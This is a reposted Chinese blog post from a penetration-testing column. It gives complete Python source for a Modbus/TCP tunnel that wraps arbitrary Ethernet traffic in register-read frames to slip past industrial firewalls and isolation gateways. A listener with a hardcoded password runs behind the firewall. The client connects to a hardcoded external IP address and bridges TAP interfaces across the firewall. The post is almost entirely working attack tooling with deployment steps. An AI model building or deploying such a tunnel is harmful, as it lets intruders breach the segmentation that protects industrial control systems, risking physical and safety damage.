前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ics渗透中你总会用到-穿透工业隔离网闸

ics渗透中你总会用到-穿透工业隔离网闸

作者头像
天钧
发布2020-06-15 12:29:50
5050
发布2020-06-15 12:29:50
举报
文章被收录于专栏:渗透云笔记渗透云笔记

程序以python编写,可以透过Modbus / TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。

可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。

在防火墙“后”的系统上运行modbus-server.py。

在防火墙“前”的网络上运行modbus-client.py。

注意:

执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节

所以,会增加穿透流量的150ms延迟,并且带宽不会很大。

所以尽量的去精简你的命令操作。

modbus-client.py

代码语言:javascript
复制
from twisted.internet import reactor

from twisted.internet.protocol import Factory, Protocol, ClientFactory
#from twisted.internet.endpoints import TCP4ClientEndpoint
from sys import stdout
import modbus
import sys
import struct
import threading
from threading import Thread
import time
import os
import fcntl
import subprocess


TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000


class modbusClient(Protocol):




    def connectionMade(self):
        self._tapBuff = ""
        self._mbDataToWrite = ""
        self._mbBuffLock = threading.Lock()
        self._tapBuffLock = threading.Lock()
        self._tapLock = threading.Lock()
        self._mbParseLock = threading.Lock()
        self._decoder = modbus.ModbusDecoder()
        print "sending login"
        self.sendMessage("login secret")
        #print "starting command thread"
        #self._commandThread = Thread(target = self.commandLoop, args = [])
        #self._commandThread.start()
        print "starting query thread"
        self._queryThread = Thread(target = self.pollLoop) # adjust accordingly
        self._queryThread.start()
        print "opening tap"
        self._tap = open('/dev/net/tun', 'w+b')
        self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)
        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
        # need to make the tap device nonblocking
        tapfd = self._tap.fileno()
        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)
        
        # Optionally, we want it be accessed by the normal user.
        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) 
#        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
        subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',
                              shell=True)
        print "starting tap thread"
        self._tapThread = Thread(target = self.handle_tap, args = [])
        self._tapThread.start()
        


    def commandLoop(self):
        while True:
            try:
                mycommand = raw_input("cl> ")
                reactor.callFromThread(self.sendMessage, mycommand)
            except:
                print "Exiting command loop"
                exit(1)


    def handle_tap(self):
        while True:
            self._tapLock.acquire()
            try: # because it's nonblock, this will throw exception when no data is available
                packet = list(os.read(self._tap.fileno(), 2048))
            except:
                # todo: only catch the exceptions we want!
                packet = []
            if len(packet) > 0:
                self._mbBuffLock.acquire()
                for byte in packet:
                    self._mbDataToWrite += byte
                self._mbBuffLock.release()
            self._tapLock.release()
            if self._tapBuff != "":
                print "tap out: ", self._tapBuff
                self._tapBuffLock.acquire()
                self._tapLock.acquire()
                os.write(self._tap.fileno(), self._tapBuff)
                self._tapBuff = ""
                self._tapLock.release()
                self._tapBuffLock.release()
                
    def tapLoop(self):
        # keep reading from the tap device
        packet = list(os.read(self._tap.fileno(), 2048))
        # put any packet data onto our _dataToWrite queue
        # need to keep a semaphore so that the poll loop is assured
        # to delete data from the dataToWrite
        this._tapBuffLock.acquire()
        this._mbDataToWrite.append(packet)
        this._tapBuffLock.release()


        
    def pollLoop(self, delay=0.1):
        print "poll loop starting up"
        while True:
            if self._mbDataToWrite != "":
                # send the data
                # Couldn't I just use the 
                print "had modbus data to write, calling from main thread"
                self._mbBuffLock.acquire()
                reactor.callFromThread(self.sendMessage, self._mbDataToWrite)
                self._mbDataToWrite = ""
                self._mbBuffLock.release()
            else:
                # send a probe
            #print "sending poll"
                reactor.callFromThread(self.sendProbe)
            time.sleep(delay)


    def sendProbe(self):
        # generate a Modbus frame that means "probe!"
        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)
        for packet in packets:
            self.transport.write(packet)


    def dataReceived(self, data):
        self._mbParseLock.acquire()
        if self._decoder.decodeModbus(data):
            #print "request complete"
            # Packet is now complete
            commandData = self._decoder.getReconstructedPacket()
            while commandData != None:
                self.dealWithData(commandData)#, data)
                commandData = self._decoder.getReconstructedPacket()
        else:
            # our _decoder's state will be updated with partial packet
            self._mbParseLock.release()
            return
            #self._mbDatabuff += data
            #print "waiting on more frames"
        self._mbParseLock.release()
        
    def dealWithData(self, commandData):#, rawdata):
        #packets = self._decoder.decodeAllPackets(rawdata)
        # we may have been dealing with command data
        if commandData != "\x00\x00\x01": # just a probe
            #print "got command?: ",
            #for byte in commandData:
            #    print hex(ord(byte)),
            #print ""
            tlen = commandData.find('\x00')
            if tlen == -1:
                tlen = len(commandData)
            tcmd = commandData[0:tlen]
            if "help" == tcmd:
                print "sending help"
                self._mbBuffLock.acquire()
                self._mbDataToWrite += "help: not available :)"
                self._buffLock.release()
            elif "login success" in tcmd:
                print "succeeded login, continuing"
            else:
                print "bad command, may be data to send"
                #self._mbBuffLock.acquire()
                #self._mbDataToWrite += tcmd + ": invalid command"
                #self._mbBuffLock.release()
                # actual binary data, send to tap
                self._tapBuffLock.acquire()
                self._tapBuff += commandData
                self._tapBuffLock.release()
                #print "data added to queue"
                # should also clear buffer, non?
        else:
            # actual binary data, send to tap
            self._tapBuffLock.acquire()
            self._tapBuff += commandData
            self._tapBuffLock.release()




    
    def sendMessage(self, msg):
        #print "encrapsulating ", msg
        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)
  
        for packet in packets:
            #print "sending: " + packet
            self.transport.write(packet)


class modbusClientFactory(ClientFactory):
    protocol = modbusClient
    def sendMessage(self, data):
        self.protocol.sendMessage(data)
            
def notThreadSafe(x):
     """do something that isn't thread-safe"""
     # ...
     print "I am in a thread"


def threadSafeScheduler():
    """Run in thread-safe manner."""
    reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'
                                             # in the event loop


def commandLoop():
    while True:
        command = input("> ")
        reactor.callInThread(f.sendMessage, command)
        
# TODO make this connect to acttual hosts
f = modbusClientFactory()
reactor.connectTCP("66.228.57.244", 502, f)
#reactor.callInThread(commandLoop)
try:
    reactor.run()
except:
    print "exception caught, exiting"
    exit(1)

modbus-server.py

代码语言:javascript
复制
from twisted.internet import protocol, reactor
import struct
import modbus
import fcntl
import os
import subprocess
import threading


TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000


class ModbusTunneler(protocol.Protocol):


    # this method runs in a thread and handles data from the _tap device
    # it sends data to the tap device and receives data from the tap device
    def handle_tap(self):
        while True:
            self._tapLock.acquire()
            try:
                packet = list(os.read(self._tap.fileno(), 2048))
            except:
                packet = []
            if len(packet) > 0:
                self._mbBuffLock.acquire()
                print "got tap data, sending via modbus"
                for byte in packet:
                    self._mbDataToWrite += byte
                self._mbBuffLock.release()
            self._tapLock.release()
            self._tapBuffLock.acquire()
            if self._tapBuff!= "":
                print "handle_tap: putting data on wire: ", self._tapBuff
                self._tapLock.acquire()
                # maybe I don't have to callFromThread here?  there shouldn't
                # be any contention over this device...
                os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string
                self._tapBuff = ""
                self._tapLock.release()
            self._tapBuffLock.release()
                
    def __init__(self, password):
        print "init"
        self._tapBuff = ""
        # tapbufflock is for the tap buffer (data to write to the tap interface)
        self._tapBuffLock = threading.Lock()
        # mbBuffLock is for the modbus buffer (data to write via Modbus)
        self._mbBuffLock = threading.Lock()
        # Trying to find an issue with a new packet coming in before the last packet
        # has finished processing...this may open a new thread?
        self._mbParseLock = threading.Lock()
        # Note that reading data from the tap and reading via modbus
        # do not require locks
        
        # not sure if we really need a taplock since it
        # should all run in one thread anyway
        self._tapLock = threading.Lock()
        self._decoder = modbus.ModbusDecoder()
        self._loggedIn = False
        self._password = password
        self._mbDataToWrite = ""
        self._databuff = ""
        print "opening tap"
        self._tap = open('/dev/net/tun', 'w+b')
        self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)
        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
        # need to make the tap device nonblocking
        tapfd = self._tap.fileno()
        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)


        # Optionally, we want it be accessed by the normal user.
        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) 
#        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
        subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',
                              shell=True)
        self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"
        print "starting tap thread"
        self._tapThread = threading.Thread(target = self.handle_tap, args = [])
        self._tapThread.start()


    def verify_login(self, payload):
        print "Verifying login of ", payload
        print "--> Hex: ",
        for byte in payload:
            print hex(ord(byte))
        if ("login " + self._password) in payload:
            print "...verified!"
            self._mbDataToWrite = "login success"
            return True
        else:
            return False


    # is this thread-safe?? Can it be called from multiple threads??
    def dataReceived(self, data):
        self._mbParseLock.acquire()
        if self._decoder.decodeModbus(data):
            # modbus decoded at least one entire tap frame
            # so we should play with that frame
            #print "request complete"
            # Packet is now complete
            commandData = self._decoder.getReconstructedPacket()
            while commandData != None:
                # the packet will be the most recent one on the stack
                if self._loggedIn == False:
                    if self.verify_login(commandData):
                        self._loggedIn = True
                else:
                    self.dealWithData(commandData)
                commandData = self._decoder.getReconstructedPacket()
        else:
            self._databuff += data
            #print "waiting on more frames"
        # really need to queue up reply packets in a more meaningful way
        # right now we'll just send them all out willy-nilly, would
        # be nice to make them blend in more
        self._mbParseLock.release()
        if self._mbDataToWrite != "":
            print "sending encrapsulated modbus packet back"
                    # send as much of it as we can
            self.writeData()
            
    def dealWithData(self, commandData):
        #packets = self._decoder.decodeAllPackets(rawdata)
        # we may have been dealing with command data
        if commandData != "\x00\x00\x01": # just a probe
            print "got command?: ",
            for byte in commandData:
                print hex(ord(byte)),
            print ""
            tlen = commandData.find('\x00')
            if tlen == -1:
                tlen = len(commandData)
            tcmd = commandData[0:tlen]
            if "help" == tcmd:
                print "sending help"
                self._mbBuffLock.acquire()
                self._mbDataToWrite += "help: not available :)"
                self._mbBuffLock.release()
            else:
                print "bad command, may be data to send"
                #self._mbBuffLock.acquire()
                #self._mbDataToWrite += tcmd + ": invalid command"
                #self._mbBuffLock.release()
                # actual binary data, send to tap
                self._tapBuffLock.acquire()
                self._tapBuff += commandData
                self._tapBuffLock.release()
                print "data added to queue"
                # should also clear buffer, non?


                    
    # Write as many bytes as we can of the data, then move our _dataToWrite
    # Need to fix this up so it looks more like responses to the queries
    # that are coming in (put in proper register ranges, etc, will slow it down)
    def writeData(self):
        self._mbBuffLock.acquire()
        packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)
        print "replying with", len(packets), "packets"
        for packet in packets:
            self.transport.write(packet)
        print "done sending", len(packets), "replies, zeroing out buffer"
        self._mbDataToWrite = ""
        self._mbBuffLock.release()


class ModbusTunnelerFactory(protocol.Factory):
    def __init__(self, password):
        self._password = password
    def buildProtocol(self, addr):
        print "Got new client"
        return ModbusTunneler(self._password)


reactor.listenTCP(502, ModbusTunnelerFactory("secret"))
reactor.run()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • modbus-server.py
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档